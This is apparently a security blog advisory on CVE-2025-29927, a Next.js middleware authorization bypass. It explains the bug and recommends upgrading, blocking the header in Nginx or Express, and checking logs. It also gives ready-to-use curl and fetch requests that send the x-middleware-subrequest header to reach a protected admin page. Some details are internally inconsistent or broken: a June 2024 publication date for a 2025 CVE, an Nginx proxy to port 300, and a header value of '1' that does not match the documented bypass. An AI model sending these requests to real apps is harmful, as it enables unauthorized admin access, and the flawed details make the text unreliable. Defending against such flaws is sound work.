Published: June 2024
CVE: CVE-2025-29927
Severity: High


Next.js is one of the most popular React frameworks for building modern, high-performance web applications. With millions of sites running on it—including big enterprises and startups—security holes can have huge consequences.

A new vulnerability, CVE-2025-29927, allows attackers to *bypass crucial authorization checks* in any Next.js app that uses middleware for authentication or permissions. This attack is surprisingly easy, allowing hackers to turn public endpoints into admin-access gateways with a single HTTP header.

This post is a deep dive: What the bug is, how it works, how to exploit it, and (if you can't update right away) how to defend yourself.

Impacted software: Next.js (all versions prior to 14.2.25 and 15.2.3)

- Attack vector: Any attacker can send requests with a specific x-middleware-subrequest HTTP header to bypass your middleware
- Risk: If your authorization logic (e.g., checking if someone is logged in, or allowed to access /admin) happens in Next.js Middleware, this logic simply WON’T RUN for crafted requests

The result:
Any protected resource (user pages, admin endpoints, etc.) may become accessible to anyone, turning your protected app into a public, wide-open system.

2. Where Did This Come From?

The core issue is “trusting headers.” Next.js uses an internal convention: when performing *internal* subrequests, it sets the x-middleware-subrequest header to avoid duplicate middleware runs. The devs forgot attackers could set this header too from outside!

So with this simple trick, an attacker skips any custom authorization logic you add in your middleware.ts.

Official security advisory:
- GitHub Next.js Security Advisory
- NPM Security Advisory for Next.js
- (Next.js Release Notes 14.2.25)

Let’s see what a normal Next.js middleware might look like for protecting /admin routes

// middleware.ts (simplified demo)
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';

export function middleware(request: NextRequest) {
  const isLoggedIn = Boolean(request.cookies.get('session_token'));

  // Protect /admin route
  if (request.nextUrl.pathname.startsWith('/admin') && !isLoggedIn) {
    return NextResponse.redirect('/login');
  }

  return NextResponse.next();
}

Expected:
- If not logged in, requests to /admin/* get redirected to /login

Actual (Vulnerable to CVE-2025-29927):
- If the user sends a request with x-middleware-subrequest: 1, this middleware will NOT run—user can access /admin no matter what

You can exploit it with just curl or Postman

curl -v -H "x-middleware-subrequest: 1" https://victim-app.com/admin/dashboard

Or in JavaScript (client-side), using fetch

fetch("https://victim-app.com/admin/dashboard", {
  headers: {
    "x-middleware-subrequest": "1"
  }
})
.then(res => res.text())
.then(console.log);

Result:
You get the protected page—even if you have NO valid session. The middleware simply doesn't protect you anymore.

A. The Real Fix: Upgrade Next.js Now

Upgrade to Next.js 14.2.25 or 15.2.3 (or above).
- Official Release v14.2.25
- Official Release v15.2.3

These versions stop trusting user-supplied x-middleware-subrequest.

B. If You Can't Update: Block Malicious Headers

Until you can upgrade, add a reverse-proxy rule (e.g., in Nginx) to DROP or REMOVE any incoming requests with x-middleware-subrequest headers.

Nginx Example

location / {
    if ($http_x_middleware_subrequest) {
        return 403;
    }
    proxy_pass http://localhost:300;
}

Express.js Example (node frontend proxy for Next)

app.use((req, res, next) => {
  if ('x-middleware-subrequest' in req.headers) {
    res.status(403).send('Forbidden');
  } else {
    next();
  }
});

C. Don’t Put Authorization in Middleware (Long-Term)

Consider performing sensitive authorization in API route handlers or inside your getServerSideProps. Middleware is best for lighter, non-protective tasks.

5. FAQ

Q: _Who is affected?_
A: Anyone running Next.js before 14.2.25 or 15.2.3 and using middleware for authentication, permissions, rate-limiting, etc.

Q: _Is this dangerous for public-facing apps?_
A: Absolutely. Any attacker who guesses (or reads docs about) Next.js can try this attack—no skills required.

Q: _Is there a sign I was attacked?_
A: Look for request logs with x-middleware-subrequest present in requests to protected resources.

6. References

- CVE-2025-29927 on NVD
- Next.js release notes 14.2.25
- GitHub Security Advisory for Next.js
- NPM Security Advisory (official to be assigned)

Don’t trust magic headers—attackers can always send them too

- Upgrade Next.js quickly, or block the exploit at your server/proxy

Stay secure, and patch now!

*Share this to any teammate using Next.js—this one can keep you out of the news headlines…*


More questions? Leave a comment or reach out on Next.js discussions.

Timeline

Published on: 03/21/2025 15:15:42 UTC